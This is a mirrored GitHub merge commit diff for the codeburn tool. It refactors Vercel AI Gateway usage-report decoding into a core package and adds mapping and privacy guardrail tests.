mirror of
https://github.com/AgentSeal/codeburn.git
synced 2026-07-31 20:05:15 +00:00
Merge pull request #842 from getagentseal/phase8/vercel-gateway
refactor(core): vercel-gateway decode into core, report fetch host-side (phase 8, network special)
This commit is contained in:
commit
d8ea608f8d
10 changed files with 787 additions and 46 deletions
|
|
@ -1,21 +1,11 @@
|
|||
import type { DateRange } from '../types.js'
|
||||
import type { Provider, SessionSource, SessionParser, ParsedProviderCall } from './types.js'
|
||||
import { decodeVercelGateway } from '@codeburn/core/providers/vercel-gateway'
|
||||
import type { VercelGatewayDecodedCall, VercelGatewayReportRow } from '@codeburn/core/providers/vercel-gateway'
|
||||
import { fetchWithTimeout } from '../fetch-utils.js'
|
||||
|
||||
const REPORT_URL = 'https://ai-gateway.vercel.sh/v1/report'
|
||||
|
||||
type ReportRow = {
|
||||
day?: string
|
||||
model?: string
|
||||
total_cost?: number
|
||||
input_tokens?: number
|
||||
output_tokens?: number
|
||||
cached_input_tokens?: number
|
||||
cache_creation_input_tokens?: number
|
||||
reasoning_tokens?: number
|
||||
request_count?: number
|
||||
}
|
||||
|
||||
export function getVercelGatewayApiKey(): string | null {
|
||||
const key = process.env['AI_GATEWAY_API_KEY'] ?? process.env['VERCEL_OIDC_TOKEN']
|
||||
return key?.trim() ? key.trim() : null
|
||||
|
|
@ -30,7 +20,7 @@ function formatUtcDate(d: Date): string {
|
|||
|
||||
export async function fetchVercelGatewayReport(
|
||||
dateRange: DateRange,
|
||||
): Promise<ReportRow[]> {
|
||||
): Promise<VercelGatewayReportRow[]> {
|
||||
const key = getVercelGatewayApiKey()
|
||||
if (!key) return []
|
||||
|
||||
|
|
@ -60,7 +50,7 @@ export async function fetchVercelGatewayReport(
|
|||
return []
|
||||
}
|
||||
|
||||
const body = (await res.json()) as { results?: ReportRow[] }
|
||||
const body = (await res.json()) as { results?: VercelGatewayReportRow[] }
|
||||
return body.results ?? []
|
||||
} catch (err) {
|
||||
process.stderr.write(
|
||||
|
|
@ -70,6 +60,37 @@ export async function fetchVercelGatewayReport(
|
|||
}
|
||||
}
|
||||
|
||||
// Map one rich core call into the host's ParsedProviderCall. Unlike the
|
||||
// token-priced providers this one carries the gateway's own dollar figure, so
|
||||
// `costUSD` passes through verbatim and no `costBasis` key is emitted — that is
|
||||
// what makes parser.ts leave the value alone instead of repricing it.
|
||||
function toProviderCall(rich: VercelGatewayDecodedCall, project: string): ParsedProviderCall {
|
||||
return {
|
||||
provider: 'vercel-gateway',
|
||||
model: rich.model,
|
||||
inputTokens: rich.inputTokens,
|
||||
outputTokens: rich.outputTokens,
|
||||
cacheCreationInputTokens: rich.cacheCreationInputTokens,
|
||||
cacheReadInputTokens: rich.cacheReadInputTokens,
|
||||
cachedInputTokens: rich.cachedInputTokens,
|
||||
reasoningTokens: rich.reasoningTokens,
|
||||
webSearchRequests: rich.webSearchRequests,
|
||||
costUSD: rich.costUSD,
|
||||
tools: [],
|
||||
bashCommands: [],
|
||||
timestamp: rich.timestamp,
|
||||
speed: rich.speed,
|
||||
deduplicationKey: rich.deduplicationKey,
|
||||
userMessage: '',
|
||||
sessionId: rich.sessionId,
|
||||
project,
|
||||
}
|
||||
}
|
||||
|
||||
// Bespoke adapter rather than createBridgedProvider: the records come from an
|
||||
// authenticated HTTP report scoped to the scan's date range, which the bridge's
|
||||
// readRecords never receives. Fetching, auth, the stderr warnings, and the
|
||||
// no-date-range gate stay here; core owns only the row -> call decode.
|
||||
function createParser(
|
||||
source: SessionSource,
|
||||
seenKeys: Set<string>,
|
||||
|
|
@ -80,38 +101,9 @@ function createParser(
|
|||
if (!dateRange) return
|
||||
|
||||
const rows = await fetchVercelGatewayReport(dateRange)
|
||||
for (const row of rows) {
|
||||
const day = row.day ?? ''
|
||||
const model = row.model ?? 'unknown'
|
||||
const costUSD = row.total_cost ?? 0
|
||||
const inputTokens = row.input_tokens ?? 0
|
||||
const outputTokens = row.output_tokens ?? 0
|
||||
if (costUSD === 0 && inputTokens === 0 && outputTokens === 0) continue
|
||||
|
||||
const deduplicationKey = `vercel-gateway:${day}:${model}`
|
||||
if (seenKeys.has(deduplicationKey)) continue
|
||||
seenKeys.add(deduplicationKey)
|
||||
|
||||
yield {
|
||||
provider: 'vercel-gateway',
|
||||
model,
|
||||
inputTokens,
|
||||
outputTokens,
|
||||
cacheCreationInputTokens: row.cache_creation_input_tokens ?? 0,
|
||||
cacheReadInputTokens: row.cached_input_tokens ?? 0,
|
||||
cachedInputTokens: 0,
|
||||
reasoningTokens: row.reasoning_tokens ?? 0,
|
||||
webSearchRequests: 0,
|
||||
costUSD,
|
||||
tools: [],
|
||||
bashCommands: [],
|
||||
timestamp: day ? `${day}T12:00:00.000Z` : '',
|
||||
speed: 'standard',
|
||||
deduplicationKey,
|
||||
userMessage: '',
|
||||
sessionId: `${day}:${model}`,
|
||||
project: source.project,
|
||||
}
|
||||
const { calls } = decodeVercelGateway({ records: rows, seenKeys })
|
||||
for (const rich of calls) {
|
||||
yield toProviderCall(rich, source.project)
|
||||
}
|
||||
},
|
||||
}
|
||||
|
|
|
|||
309
packages/cli/tests/providers/vercel-gateway-bridge.test.ts
Normal file
309
packages/cli/tests/providers/vercel-gateway-bridge.test.ts
Normal file
|
|
@ -0,0 +1,309 @@
|
|||
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
|
||||
import { vercelGateway } from '../../src/providers/vercel-gateway.js'
|
||||
|
||||
const source = { path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' as const }
|
||||
|
||||
function sortedKeys(obj: object): string[] {
|
||||
return Object.keys(obj).sort()
|
||||
}
|
||||
|
||||
const expectedKeys = [
|
||||
'bashCommands',
|
||||
'cacheCreationInputTokens',
|
||||
'cacheReadInputTokens',
|
||||
'cachedInputTokens',
|
||||
'costUSD',
|
||||
'deduplicationKey',
|
||||
'inputTokens',
|
||||
'model',
|
||||
'outputTokens',
|
||||
'project',
|
||||
'provider',
|
||||
'reasoningTokens',
|
||||
'sessionId',
|
||||
'speed',
|
||||
'timestamp',
|
||||
'tools',
|
||||
'userMessage',
|
||||
'webSearchRequests',
|
||||
]
|
||||
|
||||
describe('vercel-gateway bridge golden (unmodified provider)', () => {
|
||||
const originalFetch = globalThis.fetch
|
||||
const originalKey = process.env.AI_GATEWAY_API_KEY
|
||||
|
||||
beforeEach(() => {
|
||||
process.env.AI_GATEWAY_API_KEY = 'test-key'
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
globalThis.fetch = originalFetch
|
||||
if (originalKey === undefined) delete process.env.AI_GATEWAY_API_KEY
|
||||
else process.env.AI_GATEWAY_API_KEY = originalKey
|
||||
vi.restoreAllMocks()
|
||||
})
|
||||
|
||||
const range = {
|
||||
start: new Date('2026-06-01T00:00:00.000Z'),
|
||||
end: new Date('2026-06-07T23:59:59.999Z'),
|
||||
}
|
||||
|
||||
it('maps a normal multi-row report verbatim', async () => {
|
||||
globalThis.fetch = vi.fn(async () => ({
|
||||
ok: true,
|
||||
json: async () => ({
|
||||
results: [
|
||||
{
|
||||
day: '2026-06-01',
|
||||
model: 'anthropic/claude-sonnet-4.6',
|
||||
total_cost: 1.25,
|
||||
input_tokens: 1000,
|
||||
output_tokens: 200,
|
||||
cached_input_tokens: 50,
|
||||
cache_creation_input_tokens: 10,
|
||||
reasoning_tokens: 5,
|
||||
request_count: 3,
|
||||
},
|
||||
{
|
||||
day: '2026-06-02',
|
||||
model: 'openai/gpt-4o',
|
||||
total_cost: 0.75,
|
||||
input_tokens: 500,
|
||||
output_tokens: 100,
|
||||
request_count: 1,
|
||||
},
|
||||
],
|
||||
}),
|
||||
})) as typeof fetch
|
||||
|
||||
const calls: unknown[] = []
|
||||
for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
|
||||
calls.push(call)
|
||||
}
|
||||
|
||||
expect(calls).toHaveLength(2)
|
||||
expect(calls[0]).toStrictEqual({
|
||||
provider: 'vercel-gateway',
|
||||
model: 'anthropic/claude-sonnet-4.6',
|
||||
inputTokens: 1000,
|
||||
outputTokens: 200,
|
||||
cacheCreationInputTokens: 10,
|
||||
cacheReadInputTokens: 50,
|
||||
cachedInputTokens: 0,
|
||||
reasoningTokens: 5,
|
||||
webSearchRequests: 0,
|
||||
costUSD: 1.25,
|
||||
tools: [],
|
||||
bashCommands: [],
|
||||
timestamp: '2026-06-01T12:00:00.000Z',
|
||||
speed: 'standard',
|
||||
deduplicationKey: 'vercel-gateway:2026-06-01:anthropic/claude-sonnet-4.6',
|
||||
userMessage: '',
|
||||
sessionId: '2026-06-01:anthropic/claude-sonnet-4.6',
|
||||
project: 'Vercel AI Gateway',
|
||||
})
|
||||
expect(calls[1]).toStrictEqual({
|
||||
provider: 'vercel-gateway',
|
||||
model: 'openai/gpt-4o',
|
||||
inputTokens: 500,
|
||||
outputTokens: 100,
|
||||
cacheCreationInputTokens: 0,
|
||||
cacheReadInputTokens: 0,
|
||||
cachedInputTokens: 0,
|
||||
reasoningTokens: 0,
|
||||
webSearchRequests: 0,
|
||||
costUSD: 0.75,
|
||||
tools: [],
|
||||
bashCommands: [],
|
||||
timestamp: '2026-06-02T12:00:00.000Z',
|
||||
speed: 'standard',
|
||||
deduplicationKey: 'vercel-gateway:2026-06-02:openai/gpt-4o',
|
||||
userMessage: '',
|
||||
sessionId: '2026-06-02:openai/gpt-4o',
|
||||
project: 'Vercel AI Gateway',
|
||||
})
|
||||
for (const call of calls) {
|
||||
expect(sortedKeys(call as object)).toStrictEqual(expectedKeys)
|
||||
expect(call).not.toHaveProperty('costBasis')
|
||||
}
|
||||
})
|
||||
|
||||
it('skips all-zero rows BEFORE burning a dedup key', async () => {
|
||||
globalThis.fetch = vi.fn(async () => ({
|
||||
ok: true,
|
||||
json: async () => ({
|
||||
results: [
|
||||
{ day: '2026-06-03', model: 'skip-before-dedup', total_cost: 0, input_tokens: 0, output_tokens: 0 },
|
||||
{ day: '2026-06-03', model: 'skip-before-dedup', total_cost: 0.5, input_tokens: 10, output_tokens: 5 },
|
||||
],
|
||||
}),
|
||||
})) as typeof fetch
|
||||
|
||||
const seen = new Set<string>()
|
||||
const calls: unknown[] = []
|
||||
for await (const call of vercelGateway.createSessionParser(source, seen, range).parse()) {
|
||||
calls.push(call)
|
||||
}
|
||||
|
||||
expect(calls).toHaveLength(1)
|
||||
expect((calls[0] as { costUSD: number }).costUSD).toBe(0.5)
|
||||
expect(seen.has('vercel-gateway:2026-06-03:skip-before-dedup')).toBe(true)
|
||||
})
|
||||
|
||||
it('second pass with a shared seenKeys yields nothing', async () => {
|
||||
globalThis.fetch = vi.fn(async () => ({
|
||||
ok: true,
|
||||
json: async () => ({
|
||||
results: [{ day: '2026-06-04', model: 'dup', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }],
|
||||
}),
|
||||
})) as typeof fetch
|
||||
|
||||
const seen = new Set<string>(['vercel-gateway:2026-06-04:dup'])
|
||||
const calls: unknown[] = []
|
||||
for await (const call of vercelGateway.createSessionParser(source, seen, range).parse()) {
|
||||
calls.push(call)
|
||||
}
|
||||
expect(calls).toStrictEqual([])
|
||||
expect(seen.has('vercel-gateway:2026-06-04:dup')).toBe(true)
|
||||
})
|
||||
|
||||
it('missing day keeps timestamp empty', async () => {
|
||||
globalThis.fetch = vi.fn(async () => ({
|
||||
ok: true,
|
||||
json: async () => ({
|
||||
results: [{ model: 'no-day', total_cost: 0.5, input_tokens: 10, output_tokens: 5 }],
|
||||
}),
|
||||
})) as typeof fetch
|
||||
|
||||
const calls: unknown[] = []
|
||||
for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
|
||||
calls.push(call)
|
||||
}
|
||||
|
||||
expect(calls).toHaveLength(1)
|
||||
expect(calls[0]).toStrictEqual({
|
||||
provider: 'vercel-gateway',
|
||||
model: 'no-day',
|
||||
inputTokens: 10,
|
||||
outputTokens: 5,
|
||||
cacheCreationInputTokens: 0,
|
||||
cacheReadInputTokens: 0,
|
||||
cachedInputTokens: 0,
|
||||
reasoningTokens: 0,
|
||||
webSearchRequests: 0,
|
||||
costUSD: 0.5,
|
||||
tools: [],
|
||||
bashCommands: [],
|
||||
timestamp: '',
|
||||
speed: 'standard',
|
||||
deduplicationKey: 'vercel-gateway::no-day',
|
||||
userMessage: '',
|
||||
sessionId: ':no-day',
|
||||
project: 'Vercel AI Gateway',
|
||||
})
|
||||
})
|
||||
|
||||
it('missing model defaults to unknown', async () => {
|
||||
globalThis.fetch = vi.fn(async () => ({
|
||||
ok: true,
|
||||
json: async () => ({
|
||||
results: [{ day: '2026-06-05', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }],
|
||||
}),
|
||||
})) as typeof fetch
|
||||
|
||||
const calls: unknown[] = []
|
||||
for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
|
||||
calls.push(call)
|
||||
}
|
||||
|
||||
expect(calls).toHaveLength(1)
|
||||
expect((calls[0] as { model: string }).model).toBe('unknown')
|
||||
expect((calls[0] as { sessionId: string }).sessionId).toBe('2026-06-05:unknown')
|
||||
expect((calls[0] as { deduplicationKey: string }).deduplicationKey).toBe('vercel-gateway:2026-06-05:unknown')
|
||||
expect(sortedKeys(calls[0] as object)).toStrictEqual(expectedKeys)
|
||||
})
|
||||
|
||||
it('warns on a non-ok report and yields nothing', async () => {
|
||||
globalThis.fetch = vi.fn(async () => ({
|
||||
ok: false,
|
||||
status: 403,
|
||||
text: async () => 'forbidden detail',
|
||||
})) as unknown as typeof fetch
|
||||
const writes: string[] = []
|
||||
vi.spyOn(process.stderr, 'write').mockImplementation((chunk: string | Uint8Array) => {
|
||||
writes.push(String(chunk))
|
||||
return true
|
||||
})
|
||||
|
||||
const calls: unknown[] = []
|
||||
for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
|
||||
calls.push(call)
|
||||
}
|
||||
|
||||
expect(calls).toStrictEqual([])
|
||||
expect(writes).toStrictEqual([
|
||||
'codeburn: Vercel AI Gateway report failed (HTTP 403). ' +
|
||||
'Requires AI_GATEWAY_API_KEY or VERCEL_OIDC_TOKEN (Pro/Enterprise for /v1/report). ' +
|
||||
'forbidden detail\n',
|
||||
])
|
||||
})
|
||||
|
||||
it('warns when the report is unreachable and yields nothing', async () => {
|
||||
globalThis.fetch = vi.fn(async () => {
|
||||
throw new Error('getaddrinfo ENOTFOUND ai-gateway.vercel.sh')
|
||||
}) as unknown as typeof fetch
|
||||
const writes: string[] = []
|
||||
vi.spyOn(process.stderr, 'write').mockImplementation((chunk: string | Uint8Array) => {
|
||||
writes.push(String(chunk))
|
||||
return true
|
||||
})
|
||||
|
||||
const calls: unknown[] = []
|
||||
for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
|
||||
calls.push(call)
|
||||
}
|
||||
|
||||
expect(calls).toStrictEqual([])
|
||||
expect(writes).toStrictEqual([
|
||||
'codeburn: Vercel AI Gateway report unreachable (getaddrinfo ENOTFOUND ai-gateway.vercel.sh).\n',
|
||||
])
|
||||
})
|
||||
|
||||
it('no dateRange yields nothing', async () => {
|
||||
globalThis.fetch = vi.fn(async () => ({
|
||||
ok: true,
|
||||
json: async () => ({ results: [{ day: '2026-06-06', model: 'x', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }),
|
||||
})) as typeof fetch
|
||||
|
||||
const fetchSpy = vi.fn(async () => ({
|
||||
ok: true,
|
||||
json: async () => ({ results: [{ day: '2026-06-06', model: 'x', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }),
|
||||
})) as unknown as typeof fetch
|
||||
globalThis.fetch = fetchSpy
|
||||
|
||||
const calls: unknown[] = []
|
||||
for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), undefined).parse()) {
|
||||
calls.push(call)
|
||||
}
|
||||
expect(calls).toStrictEqual([])
|
||||
expect(fetchSpy).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
// The discovered source is shared across the scan; parsing must not stash
|
||||
// per-run state (e.g. a date range) on it.
|
||||
it('does not mutate the discovered source', async () => {
|
||||
globalThis.fetch = vi.fn(async () => ({
|
||||
ok: true,
|
||||
json: async () => ({ results: [{ day: '2026-06-07', model: 'm', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }),
|
||||
})) as typeof fetch
|
||||
|
||||
const fresh = { path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' as const }
|
||||
const before = Reflect.ownKeys(fresh)
|
||||
for await (const _call of vercelGateway.createSessionParser(fresh, new Set<string>(), range).parse()) {
|
||||
// drain
|
||||
}
|
||||
|
||||
expect(Reflect.ownKeys(fresh)).toStrictEqual(before)
|
||||
expect(fresh).toStrictEqual({ path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' })
|
||||
})
|
||||
})
|
||||
|
|
@ -166,6 +166,10 @@
|
|||
"./providers/kiro": {
|
||||
"types": "./dist/providers/kiro/index.d.ts",
|
||||
"import": "./dist/providers/kiro/index.js"
|
||||
},
|
||||
"./providers/vercel-gateway": {
|
||||
"types": "./dist/providers/vercel-gateway/index.d.ts",
|
||||
"import": "./dist/providers/vercel-gateway/index.js"
|
||||
}
|
||||
},
|
||||
"files": [
|
||||
|
|
|
|||
70
packages/core/src/providers/vercel-gateway/decode.ts
Normal file
70
packages/core/src/providers/vercel-gateway/decode.ts
Normal file
|
|
@ -0,0 +1,70 @@
|
|||
// @codeburn/core Vercel AI Gateway decoder: pure decode over the day×model
|
||||
// aggregate rows the host fetched from the `/v1/report` API. No fs / env /
|
||||
// clock / network — the host owns authentication, the HTTP request, the stderr
|
||||
// warning, and the date-range gate. The decoder only maps rows to calls and
|
||||
// threads the shared cross-file dedup set.
|
||||
|
||||
import type { VercelGatewayDecodedCall, VercelGatewayReportRow } from './types.js'
|
||||
|
||||
export type VercelGatewayDecodeInput = {
|
||||
records: unknown[]
|
||||
// Optional live dedup set the host mutates in place (its shared cross-file
|
||||
// seenKeys). Simple report providers never persist resume state.
|
||||
seenKeys?: Set<string>
|
||||
}
|
||||
|
||||
export type VercelGatewayDecodeResult = {
|
||||
calls: VercelGatewayDecodedCall[]
|
||||
}
|
||||
|
||||
/**
|
||||
* Decode Vercel AI Gateway report rows into rich, cost-carrying calls. The row
|
||||
* mapping matches the original host-side parser verbatim:
|
||||
* - day/model/cost defaults
|
||||
* - all-zero rows are skipped BEFORE dedup key burn
|
||||
* - dedup key `vercel-gateway:<day>:<model>` with add-after-skip semantics
|
||||
* - timestamp synthesized as `${day}T12:00:00.000Z`
|
||||
* - sessionId synthesized as `${day}:${model}`
|
||||
*/
|
||||
export function decodeVercelGateway(input: VercelGatewayDecodeInput): VercelGatewayDecodeResult {
|
||||
const { records, seenKeys: liveSeen } = input
|
||||
const seen = liveSeen ?? new Set<string>()
|
||||
const calls: VercelGatewayDecodedCall[] = []
|
||||
|
||||
for (const raw of records) {
|
||||
const row = raw as VercelGatewayReportRow
|
||||
const day = row.day ?? ''
|
||||
const model = row.model ?? 'unknown'
|
||||
const costUSD = row.total_cost ?? 0
|
||||
const inputTokens = row.input_tokens ?? 0
|
||||
const outputTokens = row.output_tokens ?? 0
|
||||
|
||||
// Verbatim from the original parser: drop rows that report no usage and no
|
||||
// cost before touching the dedup set, so an all-zero row does not burn its
|
||||
// key and block a later non-zero row for the same day×model.
|
||||
if (costUSD === 0 && inputTokens === 0 && outputTokens === 0) continue
|
||||
|
||||
const deduplicationKey = `vercel-gateway:${day}:${model}`
|
||||
if (seen.has(deduplicationKey)) continue
|
||||
seen.add(deduplicationKey)
|
||||
|
||||
calls.push({
|
||||
provider: 'vercel-gateway',
|
||||
model,
|
||||
inputTokens,
|
||||
outputTokens,
|
||||
cacheCreationInputTokens: row.cache_creation_input_tokens ?? 0,
|
||||
cacheReadInputTokens: row.cached_input_tokens ?? 0,
|
||||
cachedInputTokens: 0,
|
||||
reasoningTokens: row.reasoning_tokens ?? 0,
|
||||
webSearchRequests: 0,
|
||||
costUSD,
|
||||
timestamp: day ? `${day}T12:00:00.000Z` : '',
|
||||
speed: 'standard',
|
||||
deduplicationKey,
|
||||
sessionId: `${day}:${model}`,
|
||||
})
|
||||
}
|
||||
|
||||
return { calls }
|
||||
}
|
||||
12
packages/core/src/providers/vercel-gateway/index.ts
Normal file
12
packages/core/src/providers/vercel-gateway/index.ts
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
// @codeburn/core Vercel AI Gateway provider.
|
||||
//
|
||||
// Two layers:
|
||||
// - Rich pure decode (`decodeVercelGateway`): host-facing, NOT part of the
|
||||
// stable minimized surface. Pure over supplied report rows; carries the
|
||||
// provider-reported dollar cost but no free text.
|
||||
// - Minimizing transform (`toObservations`): maps the rich decode into the
|
||||
// strict observation envelope; the content-smuggling guarantees bind here.
|
||||
|
||||
export { decodeVercelGateway, type VercelGatewayDecodeInput, type VercelGatewayDecodeResult } from './decode.js'
|
||||
export { toObservations, type RichVercelGatewaySessionDecode, type VercelGatewayToObservationsContext } from './observations.js'
|
||||
export type { VercelGatewayDecodedCall, VercelGatewayReportRow } from './types.js'
|
||||
98
packages/core/src/providers/vercel-gateway/observations.ts
Normal file
98
packages/core/src/providers/vercel-gateway/observations.ts
Normal file
|
|
@ -0,0 +1,98 @@
|
|||
// Minimizing transform: rich Vercel AI Gateway decode -> the strict observation
|
||||
// envelope. This is where the content-smuggling guarantees bind.
|
||||
//
|
||||
// Vercel Gateway reports contain no free-text user content. The only string
|
||||
// fields that cross into the envelope are machine identifiers:
|
||||
// - `provider` and `model` are emitted by design under the identifier-exemption
|
||||
// convention (see architecture-gate.test.ts MACHINE_ID_ALLOWLIST).
|
||||
// - `day` is an API-supplied calendar date. It IS emitted, verbatim, inside the
|
||||
// synthesized timestamp and the dedup key. The envelope's `format: date-time`
|
||||
// constraint on every timestamp is what bounds it: a `day` that is not a real
|
||||
// date fails envelope validation, so a hostile value cannot ship.
|
||||
// No host-held user prompt, tools, bashCommands, file paths, or command lines
|
||||
// exist at this layer.
|
||||
|
||||
import { projectRef, sessionRef } from '../../fingerprint.js'
|
||||
import type { RecordDiagnostic } from '../../diagnostics.js'
|
||||
import type { CallObservation, SessionObservation } from '../../observations.js'
|
||||
import type { VercelGatewayDecodedCall } from './types.js'
|
||||
|
||||
/** One Vercel Gateway report's rich decode, as the host holds it before minimization. */
|
||||
export interface RichVercelGatewaySessionDecode {
|
||||
sessionId: string
|
||||
/** Discovered project label (fingerprinted, never emitted raw). */
|
||||
projectPath: string
|
||||
/** Rich, cost-carrying calls in decode order (as decodeVercelGateway emits them). */
|
||||
calls: VercelGatewayDecodedCall[]
|
||||
}
|
||||
|
||||
export interface VercelGatewayToObservationsContext {
|
||||
/** HMAC key that scopes every fingerprint. */
|
||||
privacyKey: string
|
||||
/** Provider id stamped onto sessions/calls and folded into sessionRef. */
|
||||
provider?: string
|
||||
}
|
||||
|
||||
function toCallObservation(call: VercelGatewayDecodedCall, turnIndex: number): CallObservation {
|
||||
return {
|
||||
provider: call.provider,
|
||||
model: call.model,
|
||||
tokens: {
|
||||
input: call.inputTokens,
|
||||
output: call.outputTokens,
|
||||
reasoning: call.reasoningTokens,
|
||||
cacheRead: call.cacheReadInputTokens,
|
||||
cacheCreate: call.cacheCreationInputTokens,
|
||||
},
|
||||
webSearchRequests: call.webSearchRequests,
|
||||
speed: call.speed,
|
||||
// The provider reports a measured dollar figure directly from the API.
|
||||
costBasis: 'measured',
|
||||
measuredCostUSD: call.costUSD,
|
||||
timestamp: call.timestamp,
|
||||
dedupKey: call.deduplicationKey,
|
||||
toolNames: [],
|
||||
turnIndex,
|
||||
}
|
||||
}
|
||||
|
||||
function toSessionObservation(
|
||||
decode: RichVercelGatewaySessionDecode,
|
||||
ctx: VercelGatewayToObservationsContext,
|
||||
): SessionObservation {
|
||||
const provider = ctx.provider ?? 'vercel-gateway'
|
||||
const calls = decode.calls.map((call, i) => toCallObservation(call, i))
|
||||
|
||||
const timestamps = calls.map(c => c.timestamp).filter(t => t.length > 0).sort()
|
||||
const startedAt = timestamps[0] ?? ''
|
||||
const endedAt = timestamps.length > 0 ? timestamps[timestamps.length - 1]! : ''
|
||||
|
||||
return {
|
||||
sessionRef: sessionRef(ctx.privacyKey, provider, decode.sessionId),
|
||||
projectRef: projectRef(ctx.privacyKey, decode.projectPath),
|
||||
providerId: provider,
|
||||
startedAt,
|
||||
...(endedAt ? { endedAt } : {}),
|
||||
calls,
|
||||
turnCount: calls.length,
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Map a rich Vercel Gateway decode into the minimized observation layer.
|
||||
* Returns the `sessions` array plus any per-record `diagnostics` (none for this
|
||||
* provider).
|
||||
*
|
||||
* Content-smuggling guarantee: no free text (host-held user prompt, project
|
||||
* path, command, file path, tool argument) is ever copied into the result. Only
|
||||
* fingerprints, enums, numbers, timestamps, dedup keys, and the API model
|
||||
* identifier cross the boundary under the identifier-exemption convention.
|
||||
*/
|
||||
export function toObservations(
|
||||
decode: RichVercelGatewaySessionDecode | RichVercelGatewaySessionDecode[],
|
||||
ctx: VercelGatewayToObservationsContext,
|
||||
): { sessions: SessionObservation[]; diagnostics: RecordDiagnostic[] } {
|
||||
const decodes = Array.isArray(decode) ? decode : [decode]
|
||||
const sessions = decodes.map(d => toSessionObservation(d, ctx))
|
||||
return { sessions, diagnostics: [] }
|
||||
}
|
||||
41
packages/core/src/providers/vercel-gateway/types.ts
Normal file
41
packages/core/src/providers/vercel-gateway/types.ts
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
// Raw record + rich-decode types for the Vercel AI Gateway provider.
|
||||
//
|
||||
// The record type (`VercelGatewayReportRow`) describes one day×model aggregate
|
||||
// returned by the `/v1/report` API. The decoded-call type is the rich, pre-
|
||||
// pricing output: it carries the provider-reported `costUSD` verbatim (a measured
|
||||
// dollar figure, not an estimate) but no free-text user content.
|
||||
|
||||
export type VercelGatewayReportRow = {
|
||||
day?: string
|
||||
model?: string
|
||||
total_cost?: number
|
||||
input_tokens?: number
|
||||
output_tokens?: number
|
||||
cached_input_tokens?: number
|
||||
cache_creation_input_tokens?: number
|
||||
reasoning_tokens?: number
|
||||
request_count?: number
|
||||
}
|
||||
|
||||
// Rich decode of one Vercel Gateway aggregate row. Mirrors the host's
|
||||
// ParsedProviderCall minus `costBasis` (the provider figure is measured, not
|
||||
// estimated) and minus CLI-only fields (`project`, `tools`, `bashCommands`, and
|
||||
// the host-held user prompt). No free text is captured: `day` is a calendar date
|
||||
// and `model` is an API model identifier emitted under the identifier-exemption
|
||||
// convention.
|
||||
export type VercelGatewayDecodedCall = {
|
||||
provider: 'vercel-gateway'
|
||||
model: string
|
||||
inputTokens: number
|
||||
outputTokens: number
|
||||
cacheCreationInputTokens: number
|
||||
cacheReadInputTokens: number
|
||||
cachedInputTokens: number
|
||||
reasoningTokens: number
|
||||
webSearchRequests: number
|
||||
costUSD: number
|
||||
timestamp: string
|
||||
speed: 'standard'
|
||||
deduplicationKey: string
|
||||
sessionId: string
|
||||
}
|
||||
|
|
@ -53,6 +53,7 @@ import {
|
|||
decodeKiroV2Session,
|
||||
toObservations as toKiroObservations,
|
||||
} from '../src/providers/kiro/index.js'
|
||||
import { decodeVercelGateway, toObservations as toVercelGatewayObservations } from '../src/providers/vercel-gateway/index.js'
|
||||
import type { DecodeContext } from '../src/contracts.js'
|
||||
import type { ZedThreadRow } from '../src/providers/zed/index.js'
|
||||
import type {
|
||||
|
|
@ -2077,3 +2078,75 @@ describe('content-smuggling guardrail: real kiro decode -> toObservations is sec
|
|||
expect(allToolNames).not.toContain(SECRETS.commandLine)
|
||||
})
|
||||
})
|
||||
|
||||
|
||||
describe('content-smuggling guardrail: real vercel-gateway decode -> toObservations is secret-free', () => {
|
||||
// A hostile Vercel Gateway report planting every secret in the API fields the
|
||||
// decode sees. The only free-text-capable API field is `model`; under the
|
||||
// identifier-exemption convention model is an API identifier emitted by design,
|
||||
// so the secret planted there is expected to remain. Every other secret must
|
||||
// be absent from the envelope.
|
||||
function decodeAndMinimize() {
|
||||
const { calls } = decodeVercelGateway({
|
||||
records: [
|
||||
{
|
||||
day: '2026-07-17',
|
||||
model: SECRETS.prompt,
|
||||
total_cost: 1.23,
|
||||
input_tokens: 100,
|
||||
output_tokens: 50,
|
||||
},
|
||||
],
|
||||
})
|
||||
const { sessions } = toVercelGatewayObservations(
|
||||
{ sessionId: 'report-hostile', projectPath: SECRETS.absPath, calls },
|
||||
{ privacyKey: 'test-privacy-key', provider: 'vercel-gateway' },
|
||||
)
|
||||
return {
|
||||
schemaVersion: OBSERVATION_SCHEMA_VERSION,
|
||||
generator: { name: '@codeburn/core', version: '0.0.0-test' },
|
||||
sessions,
|
||||
}
|
||||
}
|
||||
|
||||
it('produces a schema-valid envelope from the hostile report', () => {
|
||||
expect(ObservationEnvelope.safeParse(decodeAndMinimize()).success).toBe(true)
|
||||
})
|
||||
|
||||
it('is non-vacuous (at least one call)', () => {
|
||||
const env = decodeAndMinimize()
|
||||
const callCount = env.sessions.reduce((sum, s) => sum + s.calls.length, 0)
|
||||
expect(callCount).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('contains the model secret (identifier-exemption convention) and no other secrets', () => {
|
||||
const serialized = JSON.stringify(decodeAndMinimize())
|
||||
expect(serialized).toContain(SECRETS.prompt)
|
||||
expect(serialized).not.toContain(SECRETS.absPath)
|
||||
expect(serialized).not.toContain(SECRETS.apiKey)
|
||||
expect(serialized).not.toContain(SECRETS.commandLine)
|
||||
expect(serialized).not.toContain(SECRETS.fileContent)
|
||||
})
|
||||
|
||||
// `day` is the report's only other string field, and it is NOT sanitized: the
|
||||
